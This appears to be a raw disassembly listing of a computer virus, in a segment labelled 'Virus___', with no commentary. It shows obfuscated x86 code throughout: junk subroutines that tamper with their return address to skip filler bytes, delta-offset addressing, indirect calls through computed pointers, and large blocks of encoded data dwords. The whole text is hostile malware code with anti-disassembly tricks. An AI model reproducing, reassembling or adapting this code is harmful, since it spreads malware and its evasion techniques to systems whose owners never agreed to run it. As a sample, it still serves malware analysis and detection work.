sub_5A7906	proc near		; CODE XREF: Virus___:005A78FEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5A7906	endp

; ---------------------------------------------------------------------------
		sbb	al, 36h
		xchg	eax, ecx
		mov	eax, 751DB882h
		mov	[ebp+95D063Dh],	edi
		sub	ebx, eax
		push	0
		push	esi
		call	sub_5A7931
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7931	proc near		; CODE XREF: Virus___:005A7929p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5A7931	endp

; ---------------------------------------------------------------------------
		db 4Ch,	52h, 0B7h
; ---------------------------------------------------------------------------
		mov	esi, 4E12DAEh
		aam	98h
		sbb	esi, 60A65EE2h
		jnp	loc_5A795C
		mov	edi, 3FBFCE16h


loc_5A795C:				; CODE XREF: Virus___:005A7951j
		pop	eax
		mov	edi, 6AA1C62Ch
		sub	ebx, eax
		js	loc_5A7AAE
		movsx	edi, si
		mov	ecx, 7
		mov	edi, [ebp+95D1A01h]
		add	ecx, 0
		push	0
		push	edi
		call	sub_5A7986
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7986	proc near		; CODE XREF: Virus___:005A797Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5A7986	endp

; ---------------------------------------------------------------------------
		dec	ebp
		cmp	al, bh
		adc	ds:0AFEB768Eh, ecx
		push	esi
		mov	esi, [ebp+95D32BDh]
		pop	edi
		cmp	ebx, ecx
		jbe	loc_5A7AAE
		sub	di, 74B4h
		mov	cx, ds
		test	cl, 4
		jz	loc_5A7AA0
		push	0
		push	esi
		call	sub_5A79CB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A79CB	proc near		; CODE XREF: Virus___:005A79C3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5A79CB	endp

; ---------------------------------------------------------------------------
		cmp	al, 0B8h
		mov	di, cx
		call	dword ptr [ebp+95D2A9Dh]
		push	0
		push	esi
		call	sub_5A79F1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A79F1	proc near		; CODE XREF: Virus___:005A79E9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5A79F1	endp

; ---------------------------------------------------------------------------
		db 0DEh, 31h, 7Bh
; ---------------------------------------------------------------------------
		mov	ah, 0F8h
		pop	ebx
		mov	esi, ecx
		jmp	loc_5A7A1A
; ---------------------------------------------------------------------------
		dw 8819h
		dd 9A632649h, 37B4DE58h
		db 13h,	0BAh
; ---------------------------------------------------------------------------


loc_5A7A1A:				; CODE XREF: Virus___:005A7A09j
		sub	eax, ebx
		push	0
		push	ebx
		call	sub_5A7A27
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7A27	proc near		; CODE XREF: Virus___:005A7A1Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5A7A27	endp

; ---------------------------------------------------------------------------
		pusha
		or	al, 66h
		pop	ss
		mov	edi, [ebp+95D1381h]
		cmp	eax, 834h
		jbe	loc_5A7AA0
		push	0
		push	esi
		call	sub_5A7A57
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7A57	proc near		; CODE XREF: Virus___:005A7A4Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5A7A57	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 9640FC2Dh, 0E7816630h, 14E88953h, 0A2000000h, 0E6D27F99h
		dd 96A9B5B3h, 5886D2DFh, 0A1DF3B7Ah, 8192AEDDh,	3C4010EEh
		dd 17E95F61h, 23000000h, 5D20C9BDh, 0F9B70F09h
; ---------------------------------------------------------------------------


loc_5A7AA0:				; CODE XREF: Virus___:005A79BAj
					; Virus___:005A7A46j
		mov	eax, eax
		jnp	loc_5A7AAE
		mov	edi, [ebp+95D2945h]


loc_5A7AAE:				; CODE XREF: Virus___:005A7964j
					; Virus___:005A79A9j ...
		mov	eax, ebx
		mov	ebx, eax
		jl	loc_5A7ABE
		mov	[ebp+95D09C9h],	eax


loc_5A7ABE:				; CODE XREF: Virus___:005A7AB2j
		mov	dword ptr [ebp+95D337Dh], 3D2E09FDh
		add	[ebp+95D1EBDh],	eax
		mov	eax, eax
		push	0
		push	eax
		call	sub_5A7ADB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7ADB	proc near		; CODE XREF: Virus___:005A7AD3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5A7ADB	endp

; ---------------------------------------------------------------------------
		db 0F9h
		dd 0F1BF0F89h, 3E5BD81h, 7D0095Dh, 850F0000h, 5Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FAC35646h, 1DD30243h
		dd 0D450BB6Eh, 0A1B503C4h, 0FF095D33h, 5D03E585h, 51006A09h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 3298DD53h, 7B2C1EB7h, 0B58BD721h, 95D2461h, 3E5B5FFh
		dd 95FF095Dh, 95D11B1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0FDC35747h, 0E1738149h, 6A4D5212h, 0E5958994h
		dd 66095D2Ah, 6A90FB8Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3C0EC355h, 6A3B61h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 13751CC3h, 0BF669AF0h, 22BF6507h, 8B2BFFDCh,	5D20C9BDh
		dd 56006A09h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E8292E83h, 0FF98F5Ch, 9E88Fh, 75DC0000h
		dd 26433ED3h, 0F86CEB5h, 182h, 895FFC00h, 5D25018Dh, 55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9E9C08Bh, 90000000h,	65EB544Fh, 0C079C972h, 2A59D31h
		dd 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0AA4FC6C3h, 0FC51BDF6h, 1DB58960h, 29095D25h
		dd 5D26D19Dh, 6A6109h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0D823D3C3h, 0BD8BA8A0h, 95D2ED9h
		dd 0E9FBBF0Fh, 0FFFFF79Ch, 2A58D89h, 0C18B095Dh, 9E9h
		dd 5775C800h, 1A639DEh,	4EB63E0h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5A7CDB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7CDB	proc near		; CODE XREF: Virus___:005A7CD3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5A7CDB	endp

; ---------------------------------------------------------------------------
		align 4
		or	eax, 39858D17h
		and	bl, [ebp+9]
		mov	[ebp+95D0B71h],	edx
		push	eax
		mov	[esp], eax
		call	sub_5A7D09
		xchg	eax, ecx
		rcl	dword ptr [ebx], 9Ch
		sal	edi, cl

; =============== S U B	R O U T	I N E =======================================



sub_5A7D09	proc near		; CODE XREF: Virus___:005A7CFEp
		mov	si, 3D44h
		pop	edi
		push	0
		push	0
		push	ebx
		call	sub_5A7D1B
		and	[ebx-3Dh], bl
sub_5A7D09	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A7D1B	proc near		; CODE XREF: sub_5A7D09+Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5A7D1B	endp

; ---------------------------------------------------------------------------
aPvSeOfbqnnj	db 'p¢´{éE',0Bh,'-<Žfï­­j',0
; ---------------------------------------------------------------------------
		mov	[ebp+95D2309h],	edx
		lea	eax, [ebp+960D2FAh]
		mov	edi, 11597933h
		add	eax, 5
		push	0
		push	edx
		call	sub_5A7D5B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7D5B	proc near		; CODE XREF: Virus___:005A7D53p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5A7D5B	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 0DEC0D249h, 0E9900AACh, 7, 7462880Ch, 502DFF03h, 10E990h
		dd 726A0000h, 0A6C51888h, 52EEA4C5h, 0B22C2731h, 6A59F1h
		dd 14E9h, 0EFCDFE00h, 0EC022EDh, 4FAB25DDh, 0C05436B9h
		dd 23D22A40h, 6A006A89h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B315C351h,	16F5B523h
		dd 95FF095Dh, 95D0851h,	8DFBBF0Fh, 60914C9Dh, 3DBD8909h
		dd 0FF095D33h, 259589D3h, 0FF095D29h, 5D216985h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0F2262692h, 0E9BD973Bh, 0Ah,	0E6C1BAF1h, 2D5BA420h
		dd 0FEE976CCh, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 960D304h
		push	0
		push	ecx
		call	sub_5A7E46
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7E46	proc near		; CODE XREF: Virus___:005A7E3Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5A7E46	endp

; ---------------------------------------------------------------------------
		dw 1C45h
		dd 79599F12h, 0E5BD81B0h, 0D0095D03h, 0F000007h, 18286h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 98AD656Ch, 9E8E2h, 4DE10000h, 735F9B77h
		dd 0E9F81767h, 7, 0B86D94D0h, 5F58686Eh, 14A59D8Bh, 6A095Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 8CEE36C3h, 0B4575B46h, 0BE62C19Eh, 4BE35902h, 0F79BD8Bh
		dd 0E381095Dh, 100h, 13E9h, 2D1E0600h, 0AD15C591h, 0AA49B4C8h
		dd 877672E0h, 98E4D674h, 23F5B58Bh, 0DB0B095Dh,	0A3850Fh
		dd 0B58B0000h, 95D163Dh, 0D19CBD83h, 0F000960h,	3284h
		dd 6E900h, 2B80000h, 0B89B42EAh, 0ADE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0EB544F90h, 0C7C97265h, 60D19C85h, 109h, 94EF8100h
		dd 0E9007201h, 76h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 28C35545h, 7405F024h,	0F655B5Ch, 682h
		dd 0AD958900h, 0E8095D02h, 0Eh,	0BF8F72FBh, 49D03DA1h
		dd 0E690A55Eh, 9D894941h, 95D1635h, 9C85C75Fh, 960D1h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0FC41C350h, 0D916F994h, 9D8DCFACh
		dd 95D14A5h, 0BBD8589h,	2381095Dh, 0FFFFFEFFh, 66F1BF0Fh
		dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0E3BFB2C3h, 0E95F5DFFh, 12h, 8DBE34C8h, 0FA475B96h
		dd 739E56DFh, 0B22F5274h, 0C3F66EA2h, 0AB840F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 76FEC351h, 13E9519Bh, 0FB000000h,	0E2BE23F9h
		dd 0A6293429h, 0D0DE1CB1h, 3C77D8E0h, 0FF5FD538h, 5D2A9D95h
		dd 57006A09h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0CF97CD96h, 6820F51h, 8B000000h,	5D12F5B5h
		dd 50905E09h, 58A0Fh, 81BE0000h, 901BC608h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0F7C35545h, 0E9E18A6Ch
		dd 0Eh,	0F4B7A842h, 0F1E34551h,	4F6A1698h, 4E9720Eh, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 6214C355h, 0D0B5E888h, 0B2B96660h, 21D7813Bh
		dd 61420FBAh, 1711BD23h, 0B0095Dh, 840Fh, 70E60000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 49C35646h, 0FFE5EFF5h
		dd 1A5B75Fh, 5D19E585h,	6A71E409h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F4B7C350h
		dd 0F1E34551h, 576A1698h, 0C17D85BFh, 81665E17h, 0FD266D7h
		dd 0BD23D8B6h, 95D02A5h, 6BAh, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8D09C8D8h
		dd 95D305Dh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B83723C3h, 0F75B533h, 9E9095Dh
		dd 3C000000h, 0B3EC8497h, 382373DBh, 0F804E8C1h, 8BE2F766h
		dd 5D11B5B5h, 0E9D82B09h, 12h, 4D00715Dh, 0CBBB17A0h, 328B05C1h
		dd 37F00658h, 8950207Fh, 9589241Ch, 95D0631h, 3E5B5FFh
		dd 6A095Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 5E88FC3h,	5E000000h, 2ED66EFEh, 9818D89h
		dd 0FF5F095Dh, 5D11B195h, 49B58B09h, 0B0095D10h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 445DFE3Fh, 0D0718D5Bh, 29BD29BDh, 8B095D0Fh,	5D0295BDh
		dd 6A70E609h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8588C355h, 8B6684CDh, 6A71E4F7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0E778C351h, 830F613Ch, 21Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 42C35343h, 15F4DB56h
		dd 89BD8B46h, 0F095D27h, 6E9D8B6h, 0F2000000h, 9E04834Ch
		dd 6BA91h, 0B58B0000h, 95D1A5Dh, 3CD9589h, 0C38B095Dh
		dd 10498529h, 0E8C1095Dh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BDA98F5h
		dd 0E2F766F8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	42C35343h, 0F92C04F9h, 895378BEh, 5D15F185h, 0D82B5E09h
		dd 0F6816658h, 0D82BD82Dh, 16D880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E0957FC3h
		dd 9EF83CB7h, 7B9B73Dh,	51000000h, 0C1835Fh, 6DDBD2Bh
		dd 0D93B095Dh, 131860Fh, 85890000h, 95D227Dh, 6AD98C66h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 213AC353h, 426043E0h, 2D9D8B60h, 60095D03h
		dd 2AB5BD8Bh, 0B58B095Dh, 95D17A1h, 0C1F66161h,	0E0840F04h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 6019C355h, 27299D31h, 0FF61095Dh
		dd 5D2A9D95h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 2AAB7A68h, 0F73342Bh, 28Ah, 5B5E5600h
		dd 12F59589h, 0C32B095Dh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 6C35040h, 0F43A087Dh,	0FF1756Ah, 0C81h
		dd 68C0F00h, 0F000000h,	8Eh, 0BE900h, 0ED5C0000h, 1A18D7C1h
		dd 0DF1BBD50h, 8343DC1h, 860F0000h, 33h, 2A19BD8Bh, 30E9095Dh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 14D5C355h, 30B0BA86h, 458D8964h
		dd 8B095D17h, 4DB58BC0h, 8B095D07h, 66D88BC3h, 75FE781h
		dd 153D85C7h, 8BF7095Dh, 9589520Dh, 95D315Dh, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 6A7943C3h, 0C8173718h, 664639BEh, 615CF781h,	1EB18501h
		dd 0BD81095Dh, 95D03E5h, 7D0h, 54850Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 2FF190C3h, 26A1BD8Bh, 85FF095Dh, 95D03E5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E2C35242h, 0ED8EF2ABh
		dd 0ABD7DA8Bh, 13898509h, 0B5FF095Dh, 95D03E5h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F1C35040h, 606A1698h
		dd 19DDB58Bh, 8166095Dh, 61C1C1E2h, 0DDBD8B51h,	5F095D30h
		dd 11B195FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 21A297C3h, 8CD15B78h, 6A90FCh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 44667BC3h, 0B98529EAh, 0F095D1Ah, 8B0FFABFh,	4, 1AD1BE66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E8C35242h
		dd 634D958Ah, 2978D84Bh, 5D23159Dh, 59B58B09h
		dd 23095D33h, 5D1811BDh, 7BBF6609h, 57006A29h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0EA43E2C8h
		dd 60D78166h, 35BD29E4h, 6A095D09h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 2DCFC353h
		dd 14E1B58Bh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 516132C3h, 99616A28h, 11E9FA3Ch
		dd 7000000h, 8D39F0Ch, 3AD078A0h, 0D7163F6Ch, 0C72EB997h
		dd 9C1C48BFh, 0CE918h, 827B0000h, 0CE7F25A9h, 0FC178BE8h
		dd 0BD8BBF12h, 95D0339h, 0FFF722E9h, 57006AFFh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E050A7CEh
		dd 0EBC18B58h, 4, 0FE900h, 64910000h, 0AE2369A3h, 4CE839B8h
		dd 0A1F4411h, 52006A63h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0CF66F496h, 24364978h, 69B58BB6h
		dd 8D095D29h, 5D223985h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 4560BCBEh, 1D398D29h
		dd 9589095Dh, 95D073Dh,	58E0F50h, 0BF000000h, 68DC303h
		dd 29240489h, 5D1471BDh, 6A006A09h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 46A3C350h
		dd 9F296F60h, 6A7716h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0FC35141h, 0F3858D81h, 6A0960DDh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CBF4C357h, 83FFBF0Fh, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0FE2AAC3h, 8Bh, 66605000h
		dd 0E8719AB9h, 5, 0DA15E043h, 0F5250B1h, 5F585A31h, 24048961h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CFC35343h
		dd 4AC9050Fh, 2FFA3785h, 0A705BF8Ah, 9D890A62h,	95D18DDh
		dd 0B70F006Ah, 21DF81F7h, 6A70FFBBh, 1BD8900h, 89095D26h
		dd 5D0611B5h, 5195FF09h, 8D095D08h, 60914C9Dh, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B58BCF00h, 95D032Dh, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 81664CC3h, 0FF0B6FC7h
		dd 5D216985h, 0AE809h, 0BB70000h, 0F5F7B037h, 757F4CDh
		dd 810F60h, 89000000h, 5D19A9BDh, 0E95F6109h, 9B5h, 0E8h
		dd 0ED815D00h, 960DDFDh, 815FF851h, 5D03E5BDh, 7D009h
		dd 0F3860F00h, 8B000001h, 5D095D9Dh, 51006A09h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 80E9FC24h
		dd 0BD0B52E4h, 95D2A3Dh, 0E3815Eh, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0D9E2C355h, 91E0A90h, 8B5AE68Bh, 0FDB0BF1h, 0FC85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B58BFBBCh, 95D276Dh, 14E8h, 1EE3BC00h
		dd 4C4AA6E0h, 0CF2037FBh, 1BC64F92h, 98945D4Eh,	0F78B5763h
		dd 0BD835F5Fh, 960DC01h, 76840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 7F9CC350h, 0A97349FFh, 459793F4h, 0D81EBF66h, 0B3BF6660h
		dd 77BA667Bh, 10E9611Bh, 3E000000h, 1C57533Bh, 5AF4EAC4h
		dd 706786CBh, 0E9B5D2BCh, 98h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 54C35747h, 0EE3AC4Dh, 0FE8B66BEh
		dd 0E28DA0BEh, 185C719h, 10960DCh, 66000000h, 0E9C799BFh
		dd 5Ch,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 0B5C35040h, 89527617h, 5D2A3D85h, 185C709h, 960DCh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0B5C1C351h, 5BEF0B0Fh,	819EF48Eh
		dd 23858D89h, 5F50095Dh, 95D9D8Dh, 820F095Dh, 6, 0E35AD681h
		dd 11E878D7h, 7000000h,	0E38ED0CCh, 34164AF0h, 2285473Ch
		dd 0DF317A8h, 2ABE6656h, 815F5F5Dh, 0FFFEFF23h,	51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0CEFA74BBh, 0CC3E52FDh, 0B733BF59h, 8C666BAAh, 4C3F6DBh
		dd 4E840Fh, 8B660000h, 9D95FFFBh, 6A095D2Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0E1E1C350h, 59D71B0h, 25BD8B5Fh, 90095D2Fh, 800Fh, 0E9500000h
		dd 0Fh,	9B5A6402h, 794527D0h, 97786D54h, 90B5A3D0h, 51CE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0B0B651E7h, 0EDBD8B00h, 0E6095D08h, 52006A70h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 41CCC676h, 64964CF7h, 95895C6Eh, 95D2635h, 6A71E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0F7E1BEC3h, 617654ECh, 0BE8h, 0F6580200h, 0D4284B13h
		dd 0FB5F931Ch, 16F3BE5Fh, 0B60F4124h, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 8B8B392Dh, 5D2255B5h, 6BA09h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B76AFC3h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 89BCDD8Fh, 0F9BD8BFBh, 0C1095D07h, 6A04E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 84BE5FC3h, 6635CDB5h, 0D82BE2F7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 27C35141h, 939E9DC0h, 840F5650h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		pop	edi
		push	eax
		mov	edi, 76D4B47Eh
		xchg	eax, ebx
		mov	edi, [ebp+95D1CD1h]
		push	dword ptr [ebp+95D03E5h]
		push	0
		push	ecx
		call	sub_5A8D08
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8D08	proc near		; CODE XREF: Virus___:005A8D00p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5A8D08	endp

; ---------------------------------------------------------------------------
		test	eax, 0D3ECA413h
		mov	[ebp+95D29D1h],	ecx
		call	dword ptr [ebp+95D11B1h]
		push	0
		push	edi
		call	sub_5A8D34
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8D34	proc near		; CODE XREF: Virus___:005A8D2Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5A8D34	endp

; ---------------------------------------------------------------------------
		mov	edx, 506430B0h
		mov	esi, [ebp+95D2C15h]
		mov	al, 0
		push	0
		push	eax
		call	sub_5A8D5C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A8D5C	proc near		; CODE XREF: Virus___:005A8D54p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5A8D5C	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0F9h, 8Bh, 0BDh
		dd 95D19DDh, 0DE870E6h,	90000000h, 5501F5A3h, 0EE8DBEAh
		dd 248726B5h, 29858529h, 0E45E095Dh, 57006A71h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0FB8C79CDh
		dd 9F820977h, 14E8C9h, 675F0000h, 0E68C8EC3h, 5F41E4C5h
		dd 0D5A99299h, 7E9C5013h, 0BD894A4Eh, 95D0B05h,	0BDBD8B5Eh
		dd 3C095D08h, 0D2830F61h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A38FC352h
		dd 0CAEB332Ah, 8B90852Dh, 5D0F51B5h, 0D8B60F09h, 282DBD33h
		dd 9D89095Dh, 95D1CF9h,	6BAh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 25AA1C3Dh
		dd 0A415E232h, 0CE9867Eh, 0B7000000h, 9838096Dh, 14DA3687h
		dd 8BC9E3DDh, 9B58BC3h,	0C1095D2Bh, 8F0F04E8h, 1, 0E2F766F5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A8C35141h
		dd 76821620h, 6AD82B17h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 5F09C351h, 0C59948D1h
		dd 0D78166ADh, 0BD0B531Fh, 95D2991h, 22218529h,	6A58095Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 9347C352h, 838EB0D8h, 2B79A4CEh, 0C6880FD8h
		dd 0E9000001h, 12h, 0AF79EE2Dh,	0B9301B00h, 258F58E1h
		dd 0B861705h, 7B945F4h,	8B000000h, 0C183F7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 74C35545h, 0E95C3904h
		dd 5, 0E3589527h, 0FD93B5Ah, 17486h, 51006A00h,	3E8h, 0C3592000h
